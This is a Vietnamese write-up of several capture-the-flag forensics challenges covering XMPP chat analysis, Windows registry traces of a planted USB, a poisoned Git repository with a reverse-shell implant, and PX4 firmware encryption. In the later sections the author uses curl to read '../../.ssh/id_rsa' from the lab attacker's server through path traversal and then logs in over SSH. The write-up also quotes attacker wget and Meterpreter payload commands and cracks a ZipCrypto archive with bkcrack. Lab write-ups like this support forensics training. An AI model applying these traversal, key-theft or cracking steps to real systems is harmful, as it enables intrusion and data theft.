<query xmlns='http://jabber.org/protocol/disco#items'>
<item name='OpSnatch Command Dispatcher' jid='command.murknet.htb' node='op_snatch'/>
<item name='OpSparkling Command Dispatcher' jid='command.murknet.htb' node='op_sparkling'/>
</query>
</iq>

Lấy toàn bộ Items/Lệnh từ một Node

1
2
3
4
5
<iq type='get' to='command.murknet.htb' id='get_items_snatch'>
<pubsub xmlns='http://jabber.org/protocol/pubsub'>
<items node='op_snatch'/>
</pubsub>
</iq>

Server phản hồi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<iq type='result' from='command.murknet.htb' to='zytglogge88@murknet.htb/murknet' id='get_items_snatch'>
<pubsub xmlns='http://jabber.org/protocol/pubsub'>
<items node='op_snatch'>
<item id='command-1' xmlns='http://jabber.org/protocol/pubsub'>
<command-1 xmlns='urn:murknet:command'>
U2FsdGVkX18BCUVwqg8o51c1MXZIPI7MGB9dsWLe82PEC1oG28R4ebRKdlATmZBK
</command-1>
</item>
<item id='command-2' xmlns='http://jabber.org/protocol/pubsub'>
<command-2 xmlns='urn:murknet:command'>
U2FsdGVkX1+nzSC5RY1PTvqK8tCIic2...
</command>
</item>
</items>
</pubsub>
</iq>

Vì thế mình tiến hành với lần lượt các Node và lấy các đoạn base64 và tiến hành giải mã với key thì mình lấy được địa chỉ của ví XMR

429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye

Q6: What is the nickname of the APT affiliate who kidnapped Watson? (string)

Do đã biết có thêm 2 phòng private mới là op_snatch và op_sparkling nên mình dùng lại script ở Q3 và bổ sung thêm 2 phòng này vào và tìm được người thực hiện nhiệm vụ bắt cóc này

dynamite

Q7: Where has Watson been kidnapped? (string)

Áp dụng tương tự với Q5 mình dùng script đó tiếp tục giải mã nhưng lúc này chuỗi giải mã không được sạch do sai key

Nên mình đã kiểm tra tiếp trong các nhóm chat vì có thể còn tồn tại các nhóm chat riêng nữa nên mình gửi một gói tin <iq type='set'> tới máy chủ với namespace urn:xmpp:mam:2 để kéo toàn bộ tin nhắn riêng của tài khoản

1
2
3
<iq type='set' id='mam_all'>
<query xmlns='urn:xmpp:mam:2'/>
</iq>

Và mình phát hiện thấy có 2 phiên chat với spur và rattlesnake nên tiến hành lọc riêng ra để kiểm tra

1
2
3
4
5
6
7
8
9
10
11
12
<iq type='set' id='mam_rattlesnake'>
<query xmlns='urn:xmpp:mam:2'>
<x xmlns='jabber:x:data' type='submit'>
<field var='FORM_TYPE' type='hidden'>
<value>urn:xmpp:mam:2</value>
</field>
<field var='with'>
<value>snake6288@murknet.htb</value>
</field>
</x>
</query>
</iq>

Và vì tin nhắn quá dài nên sẽ bị phân trang vì thế mình cần dùng xml sau để đọc tiếp đoạn bị cắt

1
2
3
4
5
6
7
<iq type='set' id='mam_page2'>
<query xmlns='urn:xmpp:mam:2'>
<set xmlns='http://jabber.org/protocol/rsm'>
<after>19fd964-150f-7154-893f-fabc41f898f1</after>
</set>
</query>
</iq>

Và mãi đến tầm trang số 3 mình mới tìm được đoạn chat tiết lộ key

Nên mình dùng key SHALLOWBLUE tìm được và giải được đoạn báo cáo mà kẻ bắt cóc gửi về nhóm và tại đây mình thấy được địa điểm bị bắt cóc và địa chỉ bị giam giữ

Victoria Station

Q8: What is the name of the latest operation that the APT is planning, and what is its objective? (Operation name,Objective)


4 - Paper Ghost

The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.


Difficulty: Easy

Q1: The rookie’s first move was a planted USB. When did Clara Voss first connect the device Elias Venn left at her desk? (YYYY-MM-DD hh:mm:ss)

Yêu cầu: Xác định mốc thời gian chính xác (năm-tháng-ngày giờ:phút:giây) khi thiết bị USB độc hại được cắm lần đầu tiên vào máy trạm của Clara Voss.

Để xác định thời điểm một thiết bị lưu trữ USB (USB Mass Storage) được kết nối lần đầu vào hệ thống Windows, phân tích hive Registry SYSTEM. Cụ thể, Windows lưu trữ thông tin phần cứng thiết bị tại nhánh:

1
SYSTEM\CurrentControlSet\Enum\USBSTOR

Kiểm tra các subkey dưới nhánh USBSTOR, mình phát hiện thiết bị USB Flash Drive của hãng Lexar vừa được hệ thống nhận diện. Quan sát khung Key Properties ở góc dưới bên trái, trường Last Written Time ghi nhận mốc thời gian thiết bị được nạp cấu hình và kết nối lần đầu vào máy trạm:

1
SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&Ven_Lexar&Prod_USB_Flash_Drive&Rev_2.00\RS200000000627E4&0

2026-08-19 15:35:50

Q2: Every USB carries a serial scar. What serial number did the dropped device leave behind? (string)

Yêu cầu: Xác định số serial duy nhất của chiếc USB độc hại mà kẻ tấn công đã sử dụng.

Chuẩn giao tiếp USB Mass Storage Device Class quy định mỗi thiết bị lưu trữ có thể mang một chuỗi định danh duy nhất (iSerialNumber). Trên hệ điều hành Windows, số serial này được ghi nhận trực tiếp trong tên subkey của thiết bị dưới nhánh Enum\USBSTOR hoặc Enum\USB.

Tại khóa Registry:

1
SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&Ven_Lexar&Prod_USB_Flash_Drive&Rev_2.00\RS200000000627E4&0

Tên subkey của thiết bị là RS200000000627E4&0. Hậu tố &0 là chỉ số instance (Device Instance ID) do Windows gán để phân biệt các cổng hoặc instance của thiết bị. Trong các bài điều tra số (DFIR) trên hệ thống Windows, chuỗi Device Instance ID này đại diện cho serial number của thiết bị lưu lại trên hệ thống.

RS200000000627E4&0

Q3: VON BORK’s payload hid inside a fake update package Elias delivered. What is the full path of the payload? (full path of file, starting with drive letter)

Yêu cầu: Xác định đường dẫn đầy đủ của file payload độc hại ngụy trang trong gói cập nhật, bắt đầu bằng ký tự ổ đĩa.

Khi thiết bị USB được cắm vào, Windows tự động gán cho phân vùng USB ký tự ổ đĩa tiếp theo khả dụng (E:\).

Tiến hành kiểm tra các dấu vết thực thi chương trình trong C:\Users\cvoss\NTUSER.DAT thông qua khóa UserAssist và đối chiếu với cơ sở dữ liệu SRUDB.dat (System Resource Usage Monitor). Đường dẫn khóa UserAssist trong Registry:

1
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD...}\Count

Sau đó tiến hành decode ROT13

E:\CO-LT-0469 update package\update.exe

Q4: Believing it a routine update, Voss launched the spyware. At what exact timestamp did she execute the malicious package? (YYYY-MM-DD hh:mm:ss)

Yêu cầu: Xác định mốc thời gian chính xác nạn nhân Clara Voss kích hoạt thực thi gói cập nhật độc hại.

Từ kết quả phân tích ở Câu 3, ta đã xác định được đường dẫn đầy đủ của file payload độc hại là

1
E:\CO-LT-0469 update package\update.exe

Để tìm mốc thời gian chính xác khi người dùng nhấp đúp khởi chạy file này từ giao diện Windows Explorer, ta kiểm tra lại artifact UserAssist trong NTUSER.DAT

Khi chọn entry này trong Registry Viewer, khung Value Properties ở góc dưới bên trái sẽ tự động giải mã cấu trúc nhị phân và trích xuất trường thời gian thực thi lần cuối (Time)

2026-08-19 15:36:25

Q5: DIOGENES tagged the USB with an asset name that surfaced as the device name on connection. What was it? (string)

Yêu cầu: Xác định tên nhãn tài sản (asset name / friendly name) của chiếc USB do tổ chức gắn thẻ, hiển thị khi thiết bị được cắm vào.

Khi một thiết bị lưu trữ ngoài kết nối vào Windows, hệ thống sẽ đọc nhãn ổ đĩa hoặc tên Friendly Name từ WPD (Windows Portable Devices) và lưu trữ cấu hình trong Registry hive SOFTWARE:

1
SOFTWARE\Microsoft\Windows Portable Devices\Devices

Đồng thời, thông tin này cũng được ánh xạ trong hive SYSTEM:

1
SYSTEM\CurrentControlSet\Enum\WpdBusEnumRoot\UMB

Kiểm tra thuộc tính FriendlyName ứng với định danh phần cứng của chiếc USB Lexar (RS200000000627E4&0)

CO-USB-0091

Q6: Once C2 Access was live, VON BORK’s listening post woke the microphone to spy on Voss’s meetings. At what time did capture begin? (YYYY-MM-DD hh:mm:ss)

Yêu cầu: Xác định thời điểm mã độc kích hoạt microphone để nghe lén các cuộc hội thoại của nạn nhân.

Trên các phiên bản Windows hiện đại, phân hệ CapabilityAccessManager (giám sát quyền riêng tư phần cứng) theo dõi việc các ứng dụng truy cập Microphone và Webcam. Dữ liệu này được lưu trữ trong hive SOFTWARE:

1
NTUSER.DAT\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged

Kiểm tra subkey của ứng dụng Desktop độc hại:

Trong khóa này có hai giá trị FILETIME quan trọng:

  • LastUsedTimeStart: Mốc thời gian bắt đầu sử dụng microphone.

  • LastUsedTimeStop: Mốc thời gian kết thúc phiên ghi âm.

    Lấy dãy 8-byte của LastUsedTimeStart từ khung Hex bên dưới (17F5D7BBF02FDD01), đưa vào CyberChef với recipe Windows Filetime to UNIX Timestamp (Hex little endian) để giải mã

2026-08-19 15:38:08

Q7: VON BORK mapped Voss’s office through her webcam — who came and went, what lay on her desk. For how many seconds did the webcam stream? (number)

Yêu cầu: Xác định thời lượng (tính bằng số giây) mà webcam của máy trạm đã bị kích hoạt ghi hình văn phòng làm việc.

Tương tự như microphone, lịch sử truy cập camera của các ứng dụng Desktop (NonPackaged) được lưu trong Registry:

1
NTUSER.DAT\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\E:#CO-LT-0469 update package#update.exe

Đọc các giá trị thời gian bắt đầu và kết thúc phiên truyền stream webcam:

  • LastUsedTimeStart: 2026-08-19 15:42:28.681432 UTC

  • LastUsedTimeStop: 2026-08-19 15:44:35.661982 UTC

Tính toán thời lượng stream: $$\Delta t = 15:44:35.661982 - 15:42:28.681432 = 126.980550 \approx 127 \text{ giây}$$

127

Q8: The riverside relay drank Voss’s secrets. How many decimal megabytes of outbound traffic flowed from the compromised machine to the C2? (.***)

Yêu cầu: Xác định dung lượng lưu lượng mạng gửi đi (outbound traffic) từ máy trạm bị xâm nhập về máy chủ C2, tính theo Megabyte thập phân (Decimal Megabytes) với độ chính xác 6 chữ số thập phân.

Cơ sở dữ liệu SRUDB.dat (System Resource Usage Monitor - ESE Database) lưu trữ toàn bộ dữ liệu thống kê mức tiêu thụ tài nguyên và lưu lượng mạng của từng tiến trình qua bảng Network Data Usage (GUID {973F5D5C-1D90-4944-BE8E-24B94231A174}).

Quy trình trích xuất:

  1. Mở bảng ánh xạ SruDbIdMapTable để tra cứu mã AppId của tiến trình độc hại E:\CO-LT-0469 update package\update.exe.
    • Kết quả: IdIndex = 430.

  1. Mở bảng {973F5D5C-1D90-4944-BE8E-24B94231A174} và lọc các bản ghi có trường AppId = 436. Khi tra cứu mã độc trong bảng ánh xạ SruDbIdMapTable, tiến trình update.exe được ghi nhận dưới 2 định danh:
  • IdIndex = 430: Tên tiến trình ngắn (!!update.exe!2010/04/14:22:06:53!3b283!)
  • AppId = 436: Đường dẫn thiết bị đầy đủ của USB (\device\harddiskvolume5\co-lt-0469 update package\update.exe)

Tổng dung lượng byte gửi ra mạng:

172.064531

Q9: Voss reviewed DIOGENES contractors NAPOLEON may now hunt. What set of credentials did the spying surface for a developer working on DIOGENES tickets? (username:password)

Yêu cầu: Xác định bộ thông tin đăng nhập (username:password) của developer làm việc với các ticket DIOGENES mà hoạt động gián điệp/điều tra đã thu thập được.

Ban đầu khi truy tìm credentials của “developer”, mình tiếp cận theo hướng dump LSA secrets từ hive SECURITY và chạy secretsdump.py offline trên cả 3 hive SYSTEM, SAM, SECURITY. Mặc dù giải mã được bootkey và lấy được NTLM hash của 2 tài khoản cục bộ trên máy, nhưng khi ném vào hashcat với rockyou.txt và wordlist tự tạo thì không thể bẻ khóa được. Thực tế đây là một ngõ cụt (dead end) vì những hash này chỉ là tài khoản admin cục bộ của máy trạm chứ không phải tài khoản developer làm việc với ticket DIOGENES. Tương tự, các phím bấm thu được từ keylogger trong SRUDB.dat cũng không chứa thông tin đăng nhập này.

Manh mối thực sự lại nằm ở cơ sở dữ liệu chỉ mục tìm kiếm của Windows (Windows Search Index) tại:

1
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb

Khi nạn nhân Clara Voss mở các tệp PDF tài liệu của nhà thầu trên Desktop (trong thư mục DIOGENES_26), trình duyệt Microsoft Edge đã tự động lập chỉ mục toàn bộ nội dung văn bản thuần (plaintext) bên trong file PDF và lưu vào Windows.edb.

Tuy nhiên, cơ sở dữ liệu Windows Search sử dụng cơ chế nén chuỗi theo từng cột (per-column string compression / LZNT1), nên nếu dùng thư viện pyesedb thông thường thì dữ liệu đọc ra từ bảng SystemIndex_PropertyStore sẽ bị lỗi font và toàn ký tự rác. Để khắc phục, mình chuyển sang sử dụng thư viện dissect.esedb có hỗ trợ giải nén định dạng này:

Sử dụng script Python để duyệt bảng SystemIndex_PropertyStore và tìm kiếm các thông tin liên quan đến DIOGENES:

1
2
3
4
5
6
7
8
9
10
from dissect.esedb import EseDB

edb = EseDB(open(r'C:\...\Windows.edb', 'rb'))
table = edb.table('SystemIndex_PropertyStore')

for record in table.records():
d = record.as_dict()
summary = d.get('4625-System_Search_AutoSummary', '')
if 'DIOGENES' in summary and 'Password' in summary:
print(summary)

Tại bản ghi số 88 tương ứng với tệp hồ sơ nhân sự của nhà thầu EXT-0419.pdf, trường System_Search_AutoSummary lưu giữ trọn vẹn nội dung của file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PERSONNEL & ACCESS FILE — EXTERNAL CONTRACTOR
DIOGENES Ticketing Support
Classification: OFFICIAL-SENSITIVE

Name: Tom Ainsworth
Title: Software Developer, DIOGENES Ticketing Support (External Contractor)
Contractor ID: EXT-0419
Internal server: srv-diogenes-tickets-01.internal
Username: tainsworth
Password: D10g3n3s_T1ck3ts#2026
Access scope: EXT-3 (ticketing host only)
Assigned repository: parse_diogenese_tickets
Assignment date: 2026-08-17
Supervisor path: OBERSTEIN service path
-----------------------------------------------------------------------
BACKGROUND
-----------------------------------------------------------------------
Tom Ainsworth was engaged as an external contractor to parse and migrate
DIOGENES incident tickets into the fusion queue. His work runs on the
internal ticketing host srv-diogenes-tickets-01, which he accesses
remotely using the credentials above...

Toàn bộ thông tin đăng nhập của developer Tom Ainsworth (EXT-0419) phụ trách migrate ticket DIOGENES:

  • Username: tainsworth
  • Password: D10g3n3s_T1ck3ts#2026

Cặp thông tin đăng nhập này nằm sẵn trong search index của hệ thống và có thể khôi phục mà không cần mở trực tiếp file PDF gốc. Đây cũng chính là nhân vật Tom và repository diogenes-ticket-parser dẫn sang thử thách tiếp theo (Sherlock 05 - Poisoned Branch).

tainsworth:D10g3n3s_T1ck3ts#2026


5 - Poisoned Branch

The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.


Difficulty: Medium

Q1: What was the name of the malicious repository? (string)

Yêu cầu: Xác định tên kho lưu trữ mã nguồn (Git repository) độc hại mà nạn nhân đã tải về máy.

Bắt đầu bằng việc kiểm tra thư mục dự án của nạn nhân tại /home/Tom/Projects/ 

Và phân tích nhật ký thực thi lệnh trong /var/log/audit/audit.log. Trong file log audit, lọc các sự kiện thực thi lệnh gọi tới binary git

Nạn nhân đã clone repo diogenes-ticket-parser từ hệ thống Git server nội bộ của công ty (devforge.internal). Đây chính là kho lưu trữ bị kẻ tấn công đầu độc

diogenes-ticket-parser

Q2: What email address is listed for the author of the repo? (email address)

Yêu cầu: Xác định địa chỉ email của tác giả (commit author) đã tạo nên repo độc hại.

Di chuyển vào thư mục .git của kho lưu trữ diogenes-ticket-parser. Khi kiểm tra lịch sử commit bằng lệnh git log hoặc trực tiếp giải nén các zlib git pack object trong .git/objects/pack/

Trích xuất thông tin metadata của commit: Tác giả đứng sau commit độc hại sử dụng định danh cbass.Moran thuộc domain máy chủ của kẻ tấn công blackpearl2026.htb.

cbass.Moran@blackpearl2026.htb

Q3: What file holds the encrypted payload? (filename.ext)

Yêu cầu: Xác định tên file lưu trữ mã độc đã được mã hóa trong repository.

Phân tích cấu trúc thư mục của diogenes-ticket-parser. File ticket_parser.py gọi module src/ticket_parser/telemetry.py. Khi đọc nội dung file này:

Hàm repeating() thực hiện giải mã XOR lặp byte giữa diogenes.jpg (kích thước ~33 KB) và calibration.bin (kích thước ~1.1 MB). Về mặt kỹ thuật, file ảnh diogenes.jpg đóng vai trò là key XOR lặp lại, còn file chứa toàn bộ payload nhị phân mã hóa chính là calibration.bin

calibration.bin

Q4: What is the full path of the c2 implant? (/path/to/file)

Yêu cầu: Xác định đường dẫn tuyệt đối của payload C2 sau khi được giải mã và ghi xuống đĩa.

Tiếp tục phân tích hàm validate_environment() trong file telemetry.py

Đoạn mã ghép nối Path.home() (ứng với user Tom là /home/Tom) cùng 3 thành phần đường dẫn được giải mã từ Base64:

  • LmNhY2hl → .cache
  • LnRpY2tldC1wYXJzZXI= → .ticket-parser
  • LmludGVncml0eQ== → .integrity

Đường dẫn hoàn chỉnh của implant được thả xuống đĩa là /home/Tom/.cache/.ticket-parser/.integrity

/home/Tom/.cache/.ticket-parser/.integrity

Q5: What port did the implant connect back to? (number)

Yêu cầu: Xác định cổng (port) mạng mà mã độc C2 kết nối về máy chủ điều khiển.

Kiểm tra artifact trạng thái kết nối mạng được UAC thu thập tại thời điểm xảy ra sự cố trong file uac_output/live_response/network/lsof_-nPli.txt Bản ghi socket cho thấy kết nối TCP outbound ra ngoài Internet Mã độc thiết lập kết nối socket ra ngoài tới địa chỉ IP 203.0.113.10 qua port 31337

31337

Q6: What is the pid of the implant? (number)

Yêu cầu: Xác định Process ID (PID) của tiến trình mã độc C2 đang thực thi trên hệ thống.

Đối chiếu thông tin tiến trình từ bản ghi lsof ở câu trước với file danh sách tiến trình uac_output/live_response/process/ps_auxwww.txt

Tiến trình implant chạy dưới quyền tài khoản Tom với PID là 1514

1514

Q7: The attacker tried to use URL:PORT before using IP:PORT to download a file to Tom’s machine. What was the URL:PORT combo? (set the spawned vm IP to this URL in your /etc/hosts to complete the challenge)

Yêu cầu: Xác định cặp URL:PORT mà kẻ tấn công đã cố gắng sử dụng để tải file trước khi chuyển sang dùng IP:PORT.

Kiểm tra toàn bộ các lệnh tải file qua mạng trong /var/log/audit/audit.log bằng cách lọc syscall EXECVE đối với binary /usr/bin/wget các tham số dòng lệnh được ghi lại dưới dạng chuỗi Hex mã hóa, tiến hành giải mã:

  • Lệnh 1

Giải mã các phần tương ứng

1
2
3
4
5
a1= -q
a2= --header=Cookie: X-Operator-Auth=napoleon_moran_1894
a3= -O
a4= authorized_keys
a5= http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa.pub ls -la

Ghép các phần như trong log lại ta được:

1
wget -q --header=Cookie: X-Operator-Auth=napoleon_moran_1894 -O authorized_keys http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa.pub ls -la
  • Lệnh 2

Giải mã các phần tương ứng

1
2
3
4
5
a1= -q
a2= --header=Cookie: X-Operator-Auth=napoleon_moran_1894
a3= -O
a4= authorized_keys
a5= http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub

Ghép các phần như trong log lại ta được:

1
wget -q --header=Cookie: X-Operator-Auth=napoleon_moran_1894 -O authorized_keys http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub

Kẻ tấn công ban đầu cố gắng kết nối tới domain BlackPearl2026.htb:9999, nhưng do máy nạn nhân chưa được phân giải DNS nội bộ tới domain này nên lệnh thất bại, buộc attacker phải đổi sang IP trực tiếp

BlackPearl2026.htb:9999

Yêu cầu: Xác định Header Cookie/Token xác thực trên máy chủ web của kẻ tấn công.

Từ lệnh wget được trích xuất trong audit.log ở câu Q7, tham số --header được kẻ tấn công sử dụng để bypass cơ chế bảo vệ của web server:

1
--header="Cookie: X-Operator-Auth=napoleon_moran_1894"

Chuỗi Header=value được dùng làm token phân quyền là X-Operator-Auth=napoleon_moran_1894

X-Operator-Auth=napoleon_moran_1894

Q9: The attacker deleted a file before leaving. What command did they run? (string)

Yêu cầu: Xác định câu lệnh chính xác mà kẻ tấn công đã thực thi để xóa tài liệu trước khi rút lui.

Lọc các bản ghi EXECVE trong file audit.log có thực thi chương trình xóa file /usr/bin/rm

Kẻ tấn công đã chạy lệnh xóa file tài liệu nhân sự khẩn cấp  Gov_HR_Continuity_Emergency_Callout_Roster.pdf

rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf

Q10: What was the ppid of the command from the previous question? (number)

Yêu cầu: Xác định Parent Process ID (PPID) của lệnh xóa file ở câu hỏi trước.

Xem bản ghi type=SYSCALL có cùng timestamp và event ID với bản ghi EXECVE của lệnh rm

Trường ppid ghi nhận giá trị tiến trình cha khởi tạo lệnh rm là 1549 (tiến trình shell được spawn từ Meterpreter)

1549

Q11: While preparing the listener the attacker declared the architecture of the implant. What command did they use? (string)

Yêu cầu: Xác định lệnh mà kẻ tấn công đã sử dụng để cấu hình kiến trúc (architecture/payload) cho listener trên Metasploit.

Sử dụng Cookie Editor để thêm cookie xác thực X-Operator-Auth=napoleon_moran_1894:

Sau khi cấu hình Cookie thành công, mình truy cập được vào giao diện web nội bộ của kẻ tấn công:

Sử dụng thông tin máy chủ của kẻ tấn công được cấp (10.129.2.235 / BlackPearl2026.htb:9999) và Cookie X-Operator-Auth=napoleon_moran_1894. Kiểm tra endpoint /download phát hiện lỗ hổng Local File Inclusion (LFI).

Tải file lịch sử dòng lệnh của Metasploit Framework

1
curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" "http://BlackPearl2026.htb:9999/download?file=../../.msf4/history"

Nội dung thu được:

Lệnh khai báo kiến trúc và loại payload là set payload linux/x64/meterpreter_reverse_tcp

set payload linux/x64/meterpreter_reverse_tcp

Q12: The attacker attempted to locate a specific directory and file combo. What command did they run? (string)

Yêu cầu: Xác định câu lệnh tìm kiếm kết hợp cả thư mục và định dạng file mà kẻ tấn công đã chạy.

Kiểm tra file public key id_rsa.pub mà kẻ tấn công cố tải về, mình nhận định có khả năng file private key tương ứng cũng tồn tại trên web server:

Thử bỏ phần mở rộng .pub để tải trực tiếp file id_rsa, máy chủ trả về nội dung private key thành công:

Tiếp tục khai thác LFI trên server kẻ tấn công để tải file private SSH key ~/.ssh/id_rsa

1
2
curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" \
"http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa" -o id_rsa

Thiết lập quyền cho file key và đăng nhập SSH vào server 10.129.2.235 với user moran

1
ssh -i id_rsa moran@10.129.6.169

Kiểm tra file lưu trữ lịch sử tương tác Meterpreter tại /home/moran/.msf4/meterpreter_history

Nhật ký dòng lệnh:

Lệnh tìm kiếm chỉ định cụ thể thư mục (-d ONBOARDING) và loại file (-f *.pdf) là search -d ONBOARDING -f *.pdf

search -d ONBOARDING -f *.pdf

Q13: What is the name of the file the attacker is keeping the exfiltrated documents in? (filename.ext)

Yêu cầu: Xác định tên file nén mà kẻ tấn công dùng để lưu trữ các tài liệu đã đánh cắp trên server của mình.

Trên máy chủ kẻ tấn công, điều hướng vào thư mục /home/moran/Exfiltrated_Loot/

File README.txt ghi chú: “Upon exfiltration of loot. Package into a password protected zip. Remove remnants.”. File nén chứa tài liệu trích xuất là LOOT.zip

LOOT.zip

Q14: What is the name of the person that has their position redacted? (FirstName LastName)

Yêu cầu: Xác định họ và tên của nhân sự bị bôi đen chức vụ (REDACTED) trong tài liệu bị đánh cắp.

Trước tiên để giải mã mình cần tải 2 file trong thư mục về với lần lượt 2 lệnh

1
curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" "http://BlackPearl2026.htb:9999/download?file=../../Exfiltrated_Loot/LOOT.zip" -o LOOT.zip
1
curl -s -H "Cookie: X-Operator-Auth=napoleon_moran_1894" "http://BlackPearl2026.htb:9999/download?file=../../Exfiltrated_Loot/README.txt" -o README.txt

File LOOT.zip được bảo vệ bằng mật khẩu và không thể bẻ khóa bằng từ điển thông thường (rockyou.txt). Tuy nhiên, kiểm tra cấu trúc file zip bằng bkcrack

File README.txt bên trong zip có cùng kích thước (83 bytes) và CRC32 với file README.txt dạng plaintext đang có trên máy chủ. Đây là điều kiện hoàn hảo để tấn công Known-Plaintext Attack (KPA) đối với thuật toán ZipCrypto.

  1. Nén file plaintext README.txt
1
zip README.zip README.txt
  1. Dùng bkcrack phục hồi 3 khóa nội bộ
1
bkcrack -C LOOT.zip -c README.txt -P README.zip -p README.txt

Sau khi quét không gian khóa, thu được

1
[Keys]: 85b6bbc1 27824945 ce665bee
  1. Mở khóa file zip và đặt lại mật khẩu mới
1
bkcrack -C LOOT.zip -k 85b6bbc1 27824945 ce665bee -U decrypted.zip azaki

  1. Giải nén decrypted.zip và đọc nội dung file PDF Gov_HR_Continuity_Emergency_Callout_Roster.pdf

Nhân viên có chức vụ bị che giấu là Sarah Kemp

Sarah Kemp

Q15: What is the address of the previously identified person? (string)

Yêu cầu: Xác định địa chỉ nhà riêng của nhân sự Sarah Kemp từ tài liệu đã giải mã.

Đối chiếu dòng dữ liệu của Sarah Kemp trong bảng danh sách nhân sự tại file PDF vừa giải mã ở câu Q14:

Địa chỉ của Sarah Kemp là Flat 6, Ashdown House, Palace Court, London W2 4LS

Flat 6, Ashdown House, Palace Court, London W2 4LS



7 - Iron Feather

The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.


Difficulty: Hard

Q1: What eight-byte ASCII magic identifies the encrypted datastore format? (string)

Yêu cầu: Xác định chuỗi magic 8-byte ASCII được sử dụng để nhận dạng định dạng của datastore bị mã hóa.

Sử dụng Hex Editor hoặc lệnh đọc file cơ bản trên file dataman.encrypted, chúng ta có thể dễ dàng nhìn thấy 8 byte đầu tiên của file header chứa chuỗi nhận diện đặc trưng của PX4 cho định dạng mã hóa này

PX4DMENC

Q2: Which authenticated encryption algorithm protects the datastore? (string)

Yêu cầu: Thuật toán mã hóa xác thực nào được sử dụng để bảo vệ datastore?

Phân tích cấu trúc file dataman.encrypted, sau 8 byte magic là các byte đóng vai trò header/IV.

  • 50 58 34 44 4d 45 4e 43: Mã ASCII của chữ PX4DMENC (8 byte Magic).
  • 01 00 00 00: Phiên bản mã hóa (Version 1) (4 byte).
  • d0 70 12 00:  kích thước thực sự của dữ liệu Dataman gốc trước khi bị mã hóa 1,208,528

Kiểm tra kích thước tổng cộng của file dataman.encrypted

  • Trừ đi 16 byte Header và phần dữ liệu gốc: 1,208,588 - 16 - 1,208,528 = 60 bytes

Phân bổ 60 bytes này vào các giao thức mật mã

  • 16 bytes dành cho Salt (Muối) để đưa vào hàm KDF (PBKDF2) sinh ra Key.
  • 12 bytes dành cho IV / Nonce (Vector khởi tạo). 12 byte (96-bit) chính là độ dài tiêu chuẩn và tối ưu nhất được NIST khuyến nghị cho thuật toán GCM.
  • 16 bytes dành cho MAC / Auth Tag (Mã xác thực tính toàn vẹn). 16 byte (128-bit) là độ dài cố định của MAC sinh ra bởi thuật toán GCM. (Tổng cộng: 16 + 12 + 16 = 44 bytes + 16 byte Header = 60 bytes)

Tiếp đến mình kiểm tra file px4 và thấy suy đoán của mình đã đúng

AES-256-GCM

Q3: What is the Relative Virtual Address (RVA) of the custom key-derivation function? (hex number)

Yêu cầu: Tìm RVA (Relative Virtual Address) của hàm KDF (Key-Derivation Function) tùy chỉnh trong firmware.

Sử dụng công cụ phân tích tĩnh IDA Pro để load file ELF px4. Thay vì tìm kiếm string thông thường, ta tìm kiếm hằng số (Immediate Value) đại diện cho chuỗi magic PX4DMENC dưới định dạng hex Little-Endian là 0x434E454D44345850. IDA trả về hàm xử lý file dataman nằm tại địa chỉ 0x16FF1E

Tiếp tục dịch ngược (Decompile) hàm sub_16FE10 này bằng Hex-Rays để phân tích luồng thực thi (control flow). Ngay sau khi vượt qua câu lệnh check Magic String (size[0] != 0x434E454D...) và cấp phát bộ nhớ (malloc) cho Ciphertext, chương trình sẽ tiến hành đọc dữ liệu

Như trong đoạn mã giả C bên trên, trước khi hệ thống gọi các hàm API chuẩn của OpenSSL (EVP_aes_256_gcm) để giải mã, nó đã truyền dữ liệu Salt vào một hàm con (dòng 92) để tính toán sinh ra Key. Tên của hàm KDF tùy chỉnh này là sub_170AF0, đồng nghĩa với RVA (địa chỉ bắt đầu) của nó chính là 0x170af0

0x170af0

Q4: How many rounds are performed by the custom 32-bit mixing loop? (number)

Yêu cầu: Vòng lặp mix 32-bit tùy chỉnh thực hiện bao nhiêu round?

Tiếp tục truy vết vào bên trong hàm KDF tùy chỉnh sub_170AF0 vừa tìm được ở câu trước. Tại đây, trình dịch ngược (Decompiler) hiển thị một khối thuật toán mã hóa tùy biến rất phức tạp, chủ yếu sử dụng các phép toán thao tác bit (bitwise) như XOR, Shift và Rotate để xáo trộn dữ liệu

Toàn bộ khối lệnh xáo trộn này được đặt bên trong một vòng lặp. Quan sát điều kiện dừng của vòng lặp, ta thấy biến đếm của vòng lặp được giới hạn bởi giá trị 383

Do bộ đếm khởi tạo từ 0 và chạy đến 383, tổng số vòng lặp (rounds) mà thuật toán này thực hiện để mix dữ liệu là 384

384

Q5: Which standard KDF produces the AES key? (string)

Yêu cầu: Hàm KDF chuẩn nào được sử dụng để tạo ra key AES cuối cùng?

Sau khi khối dữ liệu Salt đi qua vòng lặp mix 384 rounds tùy biến ở câu trước, kết quả này được dùng làm đầu vào (đóng vai trò như một Password thô) cho một hàm tạo khóa chuẩn.

